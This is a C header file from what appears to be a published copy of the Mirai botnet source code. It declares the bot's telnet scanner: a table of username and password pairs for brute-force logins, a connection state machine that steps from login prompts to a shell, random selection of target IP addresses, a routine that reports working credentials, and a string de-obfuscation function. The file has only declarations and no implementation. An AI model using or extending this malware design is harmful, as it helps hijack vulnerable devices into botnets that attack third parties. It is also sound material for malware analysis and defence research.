Mirai-Source-Code/mirai/bot/scanner.h

65 lines
1.6 KiB
C
Executable File

#pragma once
#include <stdint.h>
#include "includes.h"
#ifdef DEBUG
#define SCANNER_MAX_CONNS 128
#define SCANNER_RAW_PPS 160
#else
#define SCANNER_MAX_CONNS 128
#define SCANNER_RAW_PPS 160
#endif
#define SCANNER_RDBUF_SIZE 256
#define SCANNER_HACK_DRAIN 64
struct scanner_auth {
char *username;
char *password;
uint16_t weight_min, weight_max;
uint8_t username_len, password_len;
};
struct scanner_connection {
struct scanner_auth *auth;
int fd, last_recv;
enum {
SC_CLOSED,
SC_CONNECTING,
SC_HANDLE_IACS,
SC_WAITING_USERNAME,
SC_WAITING_PASSWORD,
SC_WAITING_PASSWD_RESP,
SC_WAITING_ENABLE_RESP,
SC_WAITING_SYSTEM_RESP,
SC_WAITING_SHELL_RESP,
SC_WAITING_SH_RESP,
SC_WAITING_TOKEN_RESP
} state;
ipv4_t dst_addr;
uint16_t dst_port;
int rdbuf_pos;
char rdbuf[SCANNER_RDBUF_SIZE];
uint8_t tries;
};
void scanner_init();
void scanner_kill(void);
static void setup_connection(struct scanner_connection *);
static ipv4_t get_random_ip(void);
static int consume_iacs(struct scanner_connection *);
static int consume_any_prompt(struct scanner_connection *);
static int consume_user_prompt(struct scanner_connection *);
static int consume_pass_prompt(struct scanner_connection *);
static int consume_resp_prompt(struct scanner_connection *);
static void add_auth_entry(char *, char *, uint16_t);
static struct scanner_auth *random_auth_entry(void);
static void report_working(ipv4_t, uint16_t, struct scanner_auth *);
static char *deobf(char *, int *);
static BOOL can_consume(struct scanner_connection *, uint8_t *, int);